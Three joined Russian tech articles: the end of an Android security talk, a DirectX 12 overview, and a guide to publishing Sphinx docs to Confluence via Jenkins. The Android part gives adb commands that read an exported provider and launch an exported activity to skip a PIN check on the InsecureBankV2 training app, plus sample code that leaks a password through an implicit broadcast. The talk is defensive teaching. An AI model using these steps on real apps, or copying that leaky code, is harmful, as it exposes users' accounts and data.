Примеры уязвимостей и их последствия
------------------------------------
Тренироваться мы будем на специальном обучающем приложении — [InsecureBankV2](https://github.com/dineshshetty/Android-InsecureBankv2) — с небольшими дополнениями. Исходный код приложения и инструкции по поиску уязвимостей в нем доступны на гитхабе. Всем тем, кому будет интересно продолжить разбираться в этой теме по окончанию доклада, я советую его скачать и почитать.
### Пример 1
Начнём с самого простого, а именно с того, как приложение хранит данные. Мы уже помним, что для того, чтобы обращаться к данным, приложения используют ContentProvider. Посмотрим в AndroidManifest InsecureBankV2 и попытаемся найти там определения провайдеров.
```
```
Там объявлен провайдер с явным указанием exported=true, то есть другое приложение может обратиться к этому провайдеру и прочитать или записать данные.
Давайте сначала проверим, действительно ли это так. Я в целях тестирования буду где возможно использовать [adb](https://developer.android.com/studio/command-line/adb) — так нагляднее. Надо понимать, что те же действия может совершить любое приложение на том же устройстве.
Прочитаем содержимое ContentProvider.
```
$adb shell
content query --uri
content://<…>/trackerusers
```
Всегда ли такое поведение является уязвимостью? Конечно нет, зависит от того, какие данные предоставляет провайдер.
Как сделать правильно? Правильнее было бы определить кастомные пермиссии для доступа на чтение и запись в этот провайдер, что позволило бы контролировать какие приложения получают доступ к данным. Например:
```
```
### Пример 2
Давайте снова заглянем в манифест и поищем там компонент, который может быть вызван из другого приложения.
```
```
Помните, я говорила, что добавление IntentFilter-а автоматически делает активность доступной извне? Это мы видим на примере активности PostLogin, для которой объявлен фильтр.
Проверим, что эта активность действительно может быть вызвана, причём не только в ответ на интент, который матчится с этим фильтром. Снова сделаем вызов через adb — попросим application manager запустить активность по полному имени. Выполним такую команду.
```
$adb shell
am start -n <…>/.PostLogin
```
Действительно видим, у нас на эмуляторе запустилась эта активность.
Возможность вызывать активность из других приложений во многих случаях нужна, но она должна отвечать требованиям безопасности, сформулированным выше.
Последствия
-----------
Если какой-то из компонентов приложения не предназначался быть доступным, но может быть вызван извне, то существует возможность обойти логику работы приложения. Типичный пример — экраны с дополнительным подтверждением. Например, мессенджеры или интернет-банки требуют дополнительный пин-код для того, чтобы войти в приложение, даже если телефон разлочен. И если активность, которая показывается после этого дополнительного подтверждения, экспортируемая, то мы можем вызвать ее напрямую и таким образом обойти запрос пин-кода.
Другим примером возможных последствий является *злоупотребление* привилегиями, которые выданы нашему приложению. Приложение запрашивает привилегированный доступ к данным пользователя или возможностям устройства для того, чтобы совершать полезную для пользователя работу. Зловредное приложение с меньшей вероятностью получит разрешение от пользователя на такой же доступ. Но если приложение, которое совершает какие-то потенциально опасные вызовы, экспортирует компоненты, которые эти вызовы совершают, то зловредное приложение может воспользоваться ими, чтобы повысить свои привилегии.
Частный случай такого привилегированного доступа — доступ в приватную папку приложения. Как вы знаете, приложения на Android выполняются в песочнице, и каждому приложению выделена область файловой системы, которая другим приложениям недоступна. Если путь, по которому приложение читает или пишет в файл, может быть изменен, то другое приложение на этом же устройстве получает возможность возможность доступа к приватной папке уязвимого приложения.
Типичным местом концентрации таких уязвимостей являются активности, которые реализуют возможность «поделиться» в приложении — как правило, они получают путь к тому, что надо отправить, в интенте. Занятные последствия таких ошибок связаны еще с особенностями Android NDK. Android позволяет использовать код на C/C++ при разработке приложения. Скомпилированные нативные библиотеки (.so) упаковываются в apk и после установки приложения размещаются в приватной папке рядом с данными. Это значит, если мы научились записывать произвольные файлы в приватную папку, то мы можем и переписать .so-файлы библиотек и выполнять произвольный код в контексте приложения. Фактически, это уязвимость типа RCE — Remote Code Execution, и предоставляет атакующему полный контроль над уязвимым приложением.
И еще пример. Представим себе возвращающую результат экспортируемую активность. Если доступ к ней не ограничен, то вызвать ее и следовательно получить результат может произвольное приложение из тех, что установлены на том же устройстве. Если в качестве результатов мы возвращаем данные, которые не должны быть разглашены, то наше приложение уязвимо.
Давайте рассмотрим снова пример. Вернёмся к нашей активности post\_login, которая, как мы уже выяснили, может быть вызвана извне. Посмотрим в код.
```
Intent result = new Intent();
result.putExtra("session", sessionToken);
result.putExtra("uname", username);
setResult(RESULT_OK, result);
```
Активность использует сохраненные в приватной папке данные для того, чтобы получить новую сессию и вернуть ее вызвавшему компоненту. В случае, если активность была вызвана сторонним приложением, оно получит доступ к аккаунту пользователя.
### Пример 3
И третья разновидность уязвимостей, которые можно встретить в Android-приложениях, связана с неверным использованием широковещательных рассылок. Помните, мы говорили про неявные интенты — для них не указывается явно компонент, который будет вызван. В случае с широковещательными рассылками это тоже работает, то есть можно не указывать в явном виде получателя, а предоставить андроиду разослать эти оповещения, основываясь на зарегистрированных получателях.
Посмотрим снова на InsecureBankV2 и найдём там такой кусочек кода.
```
private void broadcastChangePasswordSMS (String phoneNumber, String pass) {
...
Intent smsIntent = new Intent();
smsIntent.setAction("theBroadcast");
smsIntent.putExtra("phonenumber", phoneNumber);
smsIntent.putExtra("newpass", pass);
sendBroadcast(smsIntent);
…
}
```
Что здесь происходит? Мы видим, что создается интент, при этом не указан компонент, который этот интент будет обрабатывать, то есть он является неявным. Мы добавляем номер телефона и пароль пользователя в дополнительные параметры интента. Опасность здесь в том, что другое приложение на устройстве пользователя может зарегистрировать соответствующий BroadcastReceiver и тоже получить эти данные. Для этого нужно зарегистрировать BroadcastReceiver и соответствующий фильтр.
Посмотрим, что это работает. Запустим в левой части экрана InsecureBankV2, а в правой части экрана наше зловредное приложение, которое подслушивает данные пользователя. Как только пользователь нажмет на Change Password, отправится этот неявный интент. И поскольку зловредное приложение зарегистрировало свой BroadcastReceiver, оно перехватит данные пользователя.
Автоматизация
-------------
Итого, мы рассмотрели три класса проблем, связанных с неправильной реализацией межпроцессных взаимодействий на Android, и поняли, что тестировать это все довольно трудоемко: требуется изучать манифест приложения и каждый объявленный компонент, иногда даже заглядывать в исходники. Поэтому попытаемся разобраться, есть ли возможность автоматизировать эту задачу.
Когда говорят про автоматизацию тестирования безопасности, то обычно делят инструменты на две группы: динамические и статические сканеры.
### Динамические сканеры
Динамические сканеры тестируют работающее приложение, отправляя ему тестовые запросы и ожидая определённой реакции.
Статические сканеры применяют статический анализ исходного кода для поиска заранее известных паттернов в коде, которые могут означать наличие уязвимости.
Среди всех динамических сканеров, которые вообще существуют для тестирования безопасности на Android, самым распространенным является [Drozer](https://labs.f-secure.com/tools/drozer/). *Drozer* — проект с открытым исходным кодом, поддерживаемый F-Secure.
Сам сканер представляет собой клиент-серверное приложение. В качестве сервера выступает то, что в Drozer называется консоль — скрипт на питоне, запущенный у вас на компьютере. В качестве клиента — Drozer Agent, который устанавливается на устройство или эмулятор. Соответственно, консоль дает агенту команды, а агент эти команды передаёт тестируемому приложению и полученный ответ передаёт в консоль.
Чем нам может помочь Drozer? Drozer не позволяет написать полностью автоматические тесты для поиска обсуждаемого типа проблем, но поможет автоматизировать часть работы, которую мы выполняли, когда изучали манифест и искали объявление общедоступных компонентов в исходниках приложения.
На слайде получение информации обо всех доступных извне компонентах или о том, какие права и какой доступ предоставляется для каждой активности.
### Статические сканеры
В другом углу ринга — статические анализаторы. И в этом смысле Android-разработчикам повезло. Во-первых, есть официальный Android Lint. Про Android Lint подробно написано в [документации для разработчиков](https://developer.android.com/studio/write/lint).
А я хотела бы подробнее рассказать про [Find Security Bugs](https://github.com/find-sec-bugs). Это проект с открытым исходным кодом, представляющий собой набор ориентированных на поиск уязвимостей правил для популярного статического анализатора SpotBugs (aka FindBugs). Find Security Bugs содержит в том числе специфичные для андроида проверки. Для того, чтобы интегрировать его в свой проект, нужно буквально добавить три строки в gradle скрипт, примерно как на слайде.
Итак, запустим Find Security Bugs на том же самом InsecureBankV2 и посмотрим, что он нашёл.
Мы видим сообщение о том, что broadcast может быть получен зловредным приложением. Смотрим код: строчка, на которую он ругается, это та же самая проблема, которую мы уже нашли в предыдущих примерах. То есть это рассылка данных пользователя с использованием неявного интента. Find Security Bugs объясняет, что пошло не так и как проблему нужно исправить.
На скриншоте GUI, который поставляется вместе с FindBugs, но, как я сказала, те же самые подсвеченные строчки с багами и рекомендациями по исправлению можно увидеть из IDE, например в Android Studio.
FindBugs позволяет также расширять набор правил, которые используются для обнаружения уязвимостей. Я рассказывала об этом на прошлом Heisenbug, [доклад](https://www.youtube.com/watch?v=E87YkXhdxAA&app=desktop) можно посмотреть на YouTube.
Преимущество статических анализаторов в том, что их запуск не требует дополнительных затрат на тестирование и может происходить как угодно часто, что позволяет обнаружить проблемы быстрее. Недостаток — в низкой точности и полноте.
Подведем итоги
--------------
В докладе мы рассмотрели распространенный тип уязвимостей в приложениях под андроид, связанный с неверным использованием механизмов межпроцессного взаимодействия.
Также мы сформулировали требования безопасности для приложений, продиктованные особенностями платформы:
1. Не экспортировать компоненты, возвращающие конфиденциальные данные.
2. Не доверять данным, переданным с интентом в экспортируемые компоненты.
3. Не передавать секретные данные в неявных интентах.
Нарушение этих требований может привести к серьезным последствиям для безопасности приложения. К сожалению, особенности платформы провоцируют появление подобных уязвимостей, поэтому важно учесть их в процессе тестирования. | https://habr.com/ru/post/525280/ | null | ru | null |
# DirectX 12 — от Леонардо да Винчи к современному искусству
Компьютерная графика — обширная и быстроразвивающаяся дисциплина. С каждым годом интерфейсы прикладного программирования становятся более гибкими, что позволяет на их основе реализовывать более сложные алгоритмы формирования и обработки изображений. Однако возможности интерактивной графики не достигли уровня пакетов 3d-моделирования и визуализации. Все это подталкивает к активным исследованиям в данной области.
DirectX 12 — компонент интерфейса программирования высокопроизводительной графики. Основные цели нового интерфейса — снижение CPU-оверхеда драйвера, понижение уровня абстрагирования оборудования, возможность объединения графических карт на уровне API (до этого существовали только vender-specific решения CrossFireX, NVIDIA SLI). Официально выпущен Microsoft в июле 2015.
Статья рассчитана на тех, кто уже работал с графическими библиотеками (OpenGL, DirectX 11). Однако для людей, которые планирует начать изучение графики именно с 12 версии возможно тоже будет полезной.
В ней мы рассмотрим следующие темы:
* Окружение
* Краткое описание графического пайплайна
* Новые возможности DirectX 12
1. Состояния
2. Команды
3. Синхронизация
4. Прикрепление ресурсов
Окружение
---------
DirectX 12 является частью Windows SDK в Windows 10. В качестве IDE используем Visual Studio, язык программирования C++. Для работы с DirectX, необходимо подключить хедеры d3d12.h dxgi1\_6.h и библиотеки d3d12.lib, dxguid.lib, dxgi.lib, d3dcompiler.lib. Все это лежит в стандартных каталогах Windows SDK. Так же распространяется "D3D12 Helper Library" в виде одного заголовочного файла d3dx12.h, она позволяет сократить количество boilerplate кода. Его можно просто скачать по адресу [d3dx12.h](https://github.com/microsoft/DirectX-Graphics-Samples/blob/master/Libraries/D3DX12/d3dx12.h) и вложить в проект.
Краткое описание графического пайплайна
---------------------------------------
В основе графической библиотеки лежат функции рисования, которые запускают графический конвейер — программно-аппаратное средство визуализации трехмерной графики. Аппаратная составляющая представлена видеоадаптером, программная — драйвером. Графический конвейер можно представить в виде черного ящика, разделенного на этапы и выполняющего необходимые преобразования. Содержимое этого черного ящика может быть различным. Выполняемые преобразования зависят от назначения графической системы, стоимости, требуемого уровня универсальности и многих других факторов. Также, конкретный видеоадаптер — сложный механизм, правила работы которого зачастую известны лишь непосредственно производителю.
Итак, на сегодняшний день процесс визуализации трехмерной сцены выглядит в общих чертах следующим образом.
### Преобразование вершин
Каждая вершина имеет определенный набор атрибутов таких, как позиция, цвет, текстурные координаты, вектор нормали или все векторы из касательного пространства и, возможно, некоторые другие. Трансформация вершин — это первая стадия графического конвейера. На этом этапе входными данными являются атрибуты конкретной вершины, над которыми производятся математические преобразования. Эти операции включают трансформацию позиции вершины, генерацию и преобразование текстурных координат, расчет освещения для каждой отдельной вершины, а также любые другие операции, которые необходимо выполнить на уровне вершин. Каждая вершина обрабатывается параллельно с другими вершинами на доступных ядрах графического ускорителя. Основной результат вершинной программы — преобразовать координаты из модельного пространства в специальное пространство отсечения (clip space).
### Построение примитивов и растеризация
Входные данные этого этапа — трансформированные вершины, а также информация о их соединении. Из этих данных осуществляется сборка геометрических примитивов. В результате получается последовательность треугольников, линий или точек. Над этими примитивами может производиться отсечение плоскостям, определенными в программе. Также на этом этапе могут быть отброшены задние треугольники объектов. Определяются эти треугольники по направлению обхода вершин (по часовой стрелке или против). Какое направление обхода соответствует заднему треугольнику задается через графическое API. Полигоны, прошедшие отсечение, могут растеризироваться.
### Текстурирование и окрашивание
Над атрибутами примитивов, растеризированных в набор фрагментов, на этой стадии проводится необходимая интерполяция, а также последовательность математических преобразований и операций текстурирования, что определяет конечный цвет каждого фрагмента. Также на этом этапе может определяться новая глубина или даже исключение фрагмента из буфера кадра.
### Пофрагментные операции
На этом этапе проводится ряд пофрагментных тестов, таких как тест отсечения (scissor test), тест трафарета (stencil test) и тест глубины (depth test). Эти тесты определяют конечный вид, цвет и глубину фрагмента перед обновлением экранного буфера. Если какой-либо тест проходит с ошибкой, то фрагмент не обновляется. После тестов выполняется операция смешивания, которая комбинирует финальный цвет фрагмента с текущим цветом пиксела, а итоговый результат записывается в экранный буфер. Операция смешивания выполняется на этом этапе, поскольку стадия текстурирования и окрашивания не имеют доступа к экранному буферу.
Более детальное устройство конвейера можно посмотреть в [спецификации DirectX 11](https://microsoft.github.io/DirectX-Specs/d3d/archive/D3D11_3_FunctionalSpec.htm#2%20Rendering%20Pipeline%20Overview) (документ по [DiretcX 12](https://microsoft.github.io/DirectX-Specs/) затрагивает лишь изменения с предыдущей версией)
Новые возможности DirectX 12
----------------------------
Мы переходим от теоретической части непосредственно к описанию конкретных возможностей DirectX 12.
### Состояния
В 11 версии программистам известны различные функции изменения состояний графического ускорителя: RSSetState(), OMSetDepthStencilState(), OMSetBlendState(). Оказалось, что такой подход плохо ложится на оборудование. В конечном итоге драйвер устанавливает адаптеру одно монолитное состояние, а отдельные вызовы или некоторые комбинации состояний могли приводить к непредсказуемым задержкам со стороны драйвера. В новой версии инженеры переосмыслили этот подход и исключили атомарное изменений состояний, теперь они объединены в одно — PSO (Pipeline State Object). Такое нововведение кажется более удобным со стороны пользователя: теперь не нужно беспокоиться о "висячих состояниях", которые остались с прошлых проходов. Более того, для лучшей эффективности установки, теперь дополнительно требуется передавать информацию о всех прикрепленных ресурсах в шейдер через Root Signature (об этом ниже).
### Команды
В ранних версиях пользователи отправляли команды через так называемый immideate context. Под капотом создавались отложенные командные очереди и по мере заполнения отправлялись оборудованию. Необходимо отметить, что в DirectX 11 существует возможность создания deferred context. В DirectX 12 immideate context был исключен и deferred концепция стала основной. Теперь программист должен заполнить deferred command list, и в необходимый момент отправить его на исполнение.
Таким образом, реализация двойной и тройной буферизаций теперь выглядит более явно: создаются соответствующее количество command list, как только они заполнены, CPU переходит в режим ожидания свободного листа.
Здесь же стоит упомянуть о ресурсах, которые прикреплены к конкретному командному листу. Теперь удаление ресурса, использующегося на GPU, ведет к непредсказуемым последствиям. Например, раньше легально было выполнить Release() для текстуры которая еще используются — драйвер автоматически отследит, когда ресурс перестанет использоваться и только после этого удалит его.
### Синхронизация
Для возможности отслеживания работы GPU, DirectX 12 предоставляет концепцию *fence*, которая инкапсулирована объектом [ID3D12Fence](https://docs.microsoft.com/en-us/windows/win32/api/d3d12/nn-d3d12-id3d12fence) интерфейсом. *Fence* — это целое число, которое представляет выполненную работу GPU на текущий момент. Сначала происходит эмитинг следующего «свободного» значения, вызывая ID3D12CommandQueue::Signal() в командной очереди. Затем с помощью ID3D12Fence::SetEventOnCompletion(UINT64 Value, HANDLE hEvent) происходит ассоциирование значения с примитивом winapi event. Теперь поток с помощью WaitForSingleObject() над подготовленным event-ом может приостановить выполнение до момента выполнения всей работы, предшествующий контрольному значению. Как только вся работа на GPU выполнится, значение в fence обновится, вызов WaitForSingleObject() разблокируется и поток продолжит выполнение.
### Прикрепление ресурсов
Биндинг ресурсов в шейдер — одна из самых запутанных тем современного DirectX.
#### Обзор
В DirectX 11 использовалась следующая модель биндинга: каждый ресурс устанавливался в шейдер соответствующим вызовом API. Например, для установки двух текстур (если не задумываться о семплерах) в 5 и 6 слоты пиксельного шейдера применялся следующий код:
```
ID3D11ShaderResourceView* srvs[] = {
texture1->GetShaderResourceView();
texture2->GetShaderResourceView();
};
context->PSSetShaderResources(5, 2, srvs);
```
Где GetShaderResourceView() возвращает указатель на объект типа ID3D11ShaderResourceView.
В шейдере затем текстуры использовались так:
```
Texture2D texture1 : register(t5);
Texture2D texture2 : register(t6);
```
Такая система достаточно удобная со стороны программиста, но с точки зрения графического ускорителя нет. Допустим, нам необходимо прикрепить текстуру на чтение в шейдере. Как должна быть передана информация о текстуре? Если мы заглянем в документацию GCN ISA, найдем следующий параграф:
> All vector memory operations use an image resource constant (T#) that is a 128- or 256-bit value in SGPRs. This constant is sent to the texture cache when the instruction is executed. This constant defines the address, data format, and characteristics of the surface in memory.
Это означает, что для того чтобы описать текстуру, нам нужен этот небольшой дескриптор (128 или 256-битный), который нужно поместить в любое место памяти. Если мы прочтем остальную часть документации, мы заметим, что этот же шаблон также используется для всех других типов ресурсов. Фактически, когда дело доходит до доступа к ресурсу, понятие «слот» бессмысленно. Графический адаптер оперирует дескрипторами: текстуры (T#), сэмплера (S#) или константы (V#). С Direct3D 12 эти дескрипторы, наконец, отображаются непосредственно на дескрипторы оборудования — некоторая память GPU.
#### Дескрипторы
Сейчас ресурсы не прикрепляются в графический пайплайн прямо через вызовы методов, прикрепление происходит опосредовано через *дескрипторы*. **Дескриптор** — небольшой кусочек памяти, который содержит информацию о ресурсе (GPU виртуальный адрес, и, например, количество мипов, формат). Множество *дескрипторов* хранятся в **дескрипторной куче** — это просто массив *дескрипторов* фиксированного размера. *Дескрипторные кучи* могут содержать информацию о разных типах ресурсов:
* Constant buffer views (CBVs)
* Unordered access views (UAVs)
* Shader resource views (SRVs)
* Samplers
CBVs, UAVs, SRVs могут содержаться в одной *дескрипторной куче*, а описания семплеров — в отдельной. Это разделение выражает тот факт, что семплеры в ускорителе обрабатываются отдельно.
Выше мы упомянули так называемые *shader visible ресурсы*. Соответственно, существуют *non shader visible ресурсы*:
* Render Target Views (RTVs)
* Depth Stencil Views (DSVs)
* Stream Output Views (SOVs)
Такие views ресурсов предназначаются только для прикрепления ресурса в пайплан (но не для использования в шейдере), и поэтому их нужно создавать в отдельной *non shader visible дескрипторной куче* (это задается флагом D3D12\_DESCRIPTOR\_HEAP\_FLAGS::D3D12\_DESCRIPTOR\_HEAP\_FLAG\_SHADER\_VISIBLE при создании кучи).
Есть еще одна группа view's, для которых дескрипторы (и, соответственно, *дескрипторная куча*) не требуются:
* Index Buffer View (IBV)
* Vertex Buffer View (VBV)
Представлены типами D3D12\_INDEX\_BUFFER\_VIEW и D3D12\_VERTEX\_BUFFER\_VIEW соответственно. То есть описания индексных и вершинных буферов содержатся в указанных выше структурах и затем передаются напрямую в *Pipeline State Object*. Вся память в *PSO* автоматически версионируется драйвером.
Таким образом, теперь вместо создания множества объектов типа ID3D11...View, мы создаем *дескрипторы* в *дескрипторной куче*.
#### Root signature
**Root signature** — объект DirectX 12 API который задает соответствие лэйаута дескрипторов и данных в слоты шейдера. Это, в некотором смысле, действительно сигнатура шейдера только с точки зрения использования ресурсов. *Root signature* не содержит конкретных дескрипторов и данных, она лишь задает лэйаут (устройство) дескрипторов, которые биндятся уже позднее на этапе рендеринга.
*Root signature* состоит из массив записей, которые называются **root parameter**. Действительные данные *root parameter* устанавливаются в рантайме и называются **root arguments**. Меняя *root argument*, меняются данные которые читает шейдер. *Root parameter* бывают трех типов:
* Root constants (1 DWORD == 32bit value)
* Inline descriptors (так как 64-bit GPU virtual addresses, стоит 2 DWORDs каждый)
* Таблица дескрипторов (1 DWORD)
Максимальный размер *root signature* — 64 DWORDs. Типы отсортированы по возрастанию уровня косвенности доступа ресурса в шейдере, но по убыванию возможностей.
**Root constant** это встроенное в *root signature* 32-битное значение, которое используется в шейдере как constant buffer. Предназначается для наиболее активно изменяющихся констант (например, MVP матрицы), но имеет жесткие ограничения на максимальный размер (всего поместится 4 матрицы). Так же такие данные доступны в шейдере с нулевым уровнем косвенности, и имеют более быстрый доступ чем все остальные способы. Полностью версионируются драйвером: их можно "установить и забыть".
Приложение может поместить дескрипторы напрямую в *root signature* во избежании хранения дескрипторов в *куче дескрипторов* — это второй способ **inline descriptors**. Пример таких данных — константа per object. Таким образом, не нужно беспокоиться о свободном месте в *куче дескрипторов*. Имеет первый уровень косвенности. Версионируется сам дескриптор (то есть описание ресурса), но ресурс который описывает этот дескриптор должен быть доступен до завершения его использования на GPU. Установка конкретных данных производится, например, методом [ID3D12GraphicsCommandList::SetGraphicsRootConstantBufferView](https://docs.microsoft.com/en-us/windows/win32/api/d3d12/nf-d3d12-id3d12graphicscommandlist-setgraphicsrootconstantbufferview), в него передается индекс *root parameter* нашего *inline descriptor* и виртуальный адрес буфера.
Мы подошли к третьему, основному и универсальному способу прикрепления ресурсов. **Таблица дескрипторов** содержит массив *descriptor range*. *Descriptor range* — описание непрерывной цепочки дескрипторов определенного типа. Описание одной записи в *таблицы дескрипторов* проще показать кодом:
```
typedef enum D3D12_DESCRIPTOR_RANGE_TYPE
{
D3D12_DESCRIPTOR_RANGE_TYPE_SRV = 0,
D3D12_DESCRIPTOR_RANGE_TYPE_UAV = ( D3D12_DESCRIPTOR_RANGE_TYPE_SRV + 1 ) ,
D3D12_DESCRIPTOR_RANGE_TYPE_CBV = ( D3D12_DESCRIPTOR_RANGE_TYPE_UAV + 1 ) ,
D3D12_DESCRIPTOR_RANGE_TYPE_SAMPLER = ( D3D12_DESCRIPTOR_RANGE_TYPE_CBV + 1 )
} D3D12_DESCRIPTOR_RANGE_TYPE;
typedef struct D3D12_DESCRIPTOR_RANGE
{
D3D12_DESCRIPTOR_RANGE_TYPE RangeType;
UINT NumDescriptors;
UINT BaseShaderRegister;
//...
} D3D12_DESCRIPTOR_RANGE;
```
Видим, что RangeType — указывает тип *дескриптора*, NumDescriptors — количество, BaseShaderRegister — номер регистра внутри шейдера. Остальные параметры служат для расширенной настройки и пока не будем их рассматривать. В рантайме *дескрипторы* устанавливаются методом [ID3D12GraphicsCommandList::SetGraphicsRootDescriptorTable](https://docs.microsoft.com/en-us/windows/win32/api/d3d12/nf-d3d12-id3d12graphicscommandlist-setgraphicsrootdescriptortable), в него передается индекс *root parameter* нашей *таблицы дескрипторов* и первый *дескриптор*. Все *дескрипторы*, указанные в описании *таблицы дескрипторов*, подхватываются автоматически. Из этого следует, что они должны располагаться непрерывно друг за другом в *descriptor heap*.
Заключение
----------
Мы рассмотрели некоторые возможности DirectX 12. Если вам интересная данная тема или любая другая из области компьютерной графики, отписывайтесь в комментариях.
Ссылки:
<https://docs.microsoft.com/en-us/windows/win32/direct3d12/directx-12-programming-guide>
<https://developer.nvidia.com/dx12-dos-and-donts>
<https://gpuopen.com/performance-root-signature-descriptor-sets/> | https://habr.com/ru/post/489282/ | null | ru | null |
# Docs as code против или вместе с Confluence? Обзор нескольких способов публикации из репозитория в Confluence
Многие уже давно или активно используют или смотрят в сторону модели хранения и публикации **документации как кода**, это значит применять к документации все те же правила, инструменты и процедуры, что и к программному коду, например, хранить в репозитории, прогонять тесты, собирать и релизить в CI/CD. Этот подход позволяет поддерживать документацию актуальной к коду, версионировать и отслеживать изменения, используя привычные инструменты разработки.
Однако в то же время во многих компаниях годами существуют также и вики-системы, в которых к документации получают доступ другие команды и сотрудники, например, менеджеры проектов. Что если вам захотелось привести хранение и публикацию к единому виду, то есть наряду с HTML публиковать доки и в Confluence? В этой статье я дам обзор решений задачи публикации документов из репозитория в Confluence.
Одно решение я давно активно [использую сама](#Sphinx) в команде разработки интерфейсов (связка RST-Sphinx+sphinxcontribbuilder), а остальные представлю в качестве альтернативы, сразу оговорюсь, что на практике я их не пробовала, только изучила конфигурацию.
### Sphinx doc+sphinxcontribbuilder
**Sphinx** (не путать с одноименным поисковым индексом) — это генератор документации, написанный на Python и активно используемый сообществом, он вполне хорошо работает также и в других средах.
На его настройке мы останавливаться подробно не будем, оговорюсь лишь, что из коробки он умеет генерировать статический HTML, man, pdf, и еще ряд форматов, а для корректной сборки и публикации в репозитории должны быть файлы index.rst (разметка главной страницы), conf.py (файл конфигурации) и Makefile (файл, описывающий процесс генерации форматов, вот его вполне можно зашить в докер и запускать *sphinx-build* команду там).
Из коробки Sphinx умеет генерировать доки из легковесной разметки формата \*.rst (RestructuredText), но мы добавили возможность писать и в Markdown (CommonMark flavor) для тех разработчиков, кому это удобнее (в этом нам помогло расширение [m2r](https://pypi.org/project/m2r/), которое конвертирует MD в RST).
У нас все окружение для Sphinx уже было настроено, а сборка документации зашита в отдельный стейдж в пайплайне в Jenkins, поэтому мы пошли дальше и использовали расширение [sphinxcontrib.confluencebuilder](https://github.com/sphinx-contrib/confluencebuilder/), которое умеет собирать доки в нативном для Confluence формате, а затем публиковать их. Confluence в данном случае является одним из форматов вывода документации, наряду с HTML.
Чтобы это заработало, вам нужно подключить расширения в conf.py, ниже фрагмент конфигурации.
```
extensions = [
'sphinxcontrib.confluencebuilder',
'm2r'
]
templates_path = ['_templates']
source_suffix = ['.rst', '.md']
master_doc = 'index'
exclude_patterns = [
u'docs/warning-plate.rst',
u'FEATURE.md',
u'CHANGELOG.md',
u'builder/README.md'
]
```
А затем конфигурировать расширение, у него есть набор настроек:
```
confluence_publish = True
# включить или отключить публикацию в Confluence
confluence_space_name = 'YOURSPACEKEY'
# пространство, в которое мы будем публиковать из этого репозитория
confluence_parent_page = 'Raw Documentation'
# родительская страница, можно установить домашнюю страницу пространства
confluence_server_url/confluence_cloud_url = 'https://yourconfluence.site.net/'
# хост вашего Confluence
confluence_publish_prefix = 'WIP-'
# префикс перед названиями страниц, чтобы гарантировать их уникальность
confluence_publish_postfix = '-postfix'
# добавляет постфикс к названию страницы
confluence_header/footer_file
# путь к файлу, содержание которого включается вверху/внизу страницы (мы используем include из других страниц, например, вставляем плашку, которая просит не редактировать документ вручную, так как он генерируется автоматически)
confluence_page_hierarchy = True
# если в мастер-документе есть оглавление, то перечисленные в нем документы публикуются как дочерние для этого документа и так рекурсивно по всему дереву страниц
confluence_purge
# удаляет страницы, которые не публикуются в новом цикле, удобно если вы постоянно публикуете все страницы или меняете заголовки, но используйте с умом - эта настройка рекурсивно удаляет все документы в папке, которую вы указали
confluence_remove_title
# удалять дублирующийся title
confluence_publish_subset
# задать список документов к публикации
confluence_max_doc_depth
# максимальная глубина дочерних страниц, которые нужно публиковать как отдельные страницы в Confluence
confluence_prev_next_buttons_location = 'top'
# где будут располагаться кнопки Вперед, Назад
confluence_server_user = os.getenv("CONFLUENCE_USERNAME", "confluence-bot")
confluence_server_pass = os.getenv("CONFLUENCE_PASSWORD", "")
target = os.getenv("TARGET", "")
if target == "CONFLUENCE":
confluence_publish_prefix = ''
confluence_parent_page = 'Your Space'
#эта логика позволяет публиковать документы из локального репозитория в отдельную папку для ревью, они помечаются префиксом WIP-, а если публикация идет из релизного пайплайна, то документы едут в "прод"
```
> Важный момент, в том, что даже если страница (исходник в .rst) не указана в toc и не добавлена в exclude\_patterns, то она все равно будет опубликована, но вне иерархии.
>
>
Названия страниц в Confluence будут соответствовать первому title страницы, например, если у вас в файле example.rst указан заголовок Example, подчеркнутый знаками равно, он станет названием страницы в Confluence.
Правило гигиены, довольно очевидное, но все же: создайте бота с авторизационными данными которого будете публиковать документы, их можно передавать в виде переменных окружения в docker compose, использовать в пайплайнах.
Конечно, есть и подводные камни. Во-первых, не весь синтаксис RST поддерживается для публикации в Confluence (╯°□°）╯︵ ┻━┻), это неудобно, если вы хотите из одного исходника собирать HTML и Confluence. Не поддерживаются директивы сontainer, hlist, почти все атрибуты директив, например, подсвечивание строк в код блоке, нумерация в оглавлении, align и width для listtable. [Список того, что поддерживается, он довольно неплох](https://sphinxcontrib-confluencebuilder.readthedocs.io/en/latest/markup.html).
Из приятного, поддерживаются includes, это позволяет переиспользовать фрагменты контента между разными документами, autodoc для сборки документации из кода, math для математических формул, отрисовка тикетов и фильтров из jira (для этого придется в конфигурации прописать еще и Jira сервер), нумерованные заголовки и многое другое, буквально 3 января закатили [большое обновление](https://sphinxcontrib-confluencebuilder.readthedocs.io/en/latest/changelog.html).
Кстати, поддержка Jira появилась и в мультиконвертер Pandoc, начиная с [версии 2.7.3 Pandoc](https://pandoc.org/releases.html) поддержал соответствующую confluence wiki разметку.
Для тех макросов и элементов Confluence, которые не поддерживаются есть грязный хак. В RST есть директива **… raw::**, и у нее есть атрибут сonfluence, она принимает conf разметку, если вам очень нужен какой-то макрос — можно скопировать его в режиме редактирования страницы в Confluence (режим исходного кода доступен по иконке <>) и вставить его «сырой» код туда. Но я вас этому не учила.
```
.. raw:: confluence
Green
Is used
```
Результат получается такой:
Почему нам понадобилось настраивать публикацию из локального репозитория на тестовую страницу, а не сразу на «прод»? Дело в том, что при публикации все страницы каждый раз публикуются заново и перетирают изменения, сделанные вручную или комменты в строке (inline). Поэтому, когда документ находится в работе, мы решили публиковать его в какую-то отдельную страницу, этакий dev mode, чтобы добавлять опубликованные версии в ревью и собирать комментарии.
На CI публикация реализована в виде отдельного стейджа в пайплайне в Jenkins, внутрь этого стейджа зашит запуск docker образа на удаленном реджистри, в котором реализован запуск sphinx-build с нужной конфигурацией. Лучше сразу сделать этот шаг пропускаемым.
```
pipeline {
agent {
label "${AGENT_LABEL}"
}
stage("Documentation") {
steps { ansiColor('xterm') {
withCredentials([usernamePassword(
credentialsId: "${DOCUMENTATION_BOT}",
usernameVariable: 'CONFLUENCE_USERNAME',
passwordVariable: 'CONFLUENCE_PASSWORD'
)]) {
sh "docker-compose -p $COMPOSE_ID run sphinx-doc confluence"
}
}}
}
```
Внутри стейджа по факту запускается *docker-compose -p release-branch-name run sphinx-doc confluence*. В свою очередь Jenkinsfile описывает зависимости и среду, в которой будет выполняться шаг, процесс сборки и обновления информации в таргете. Из тестов пока есть только проверка синтаксиса .md и .rst с помощью doc8 и markdownlinter.
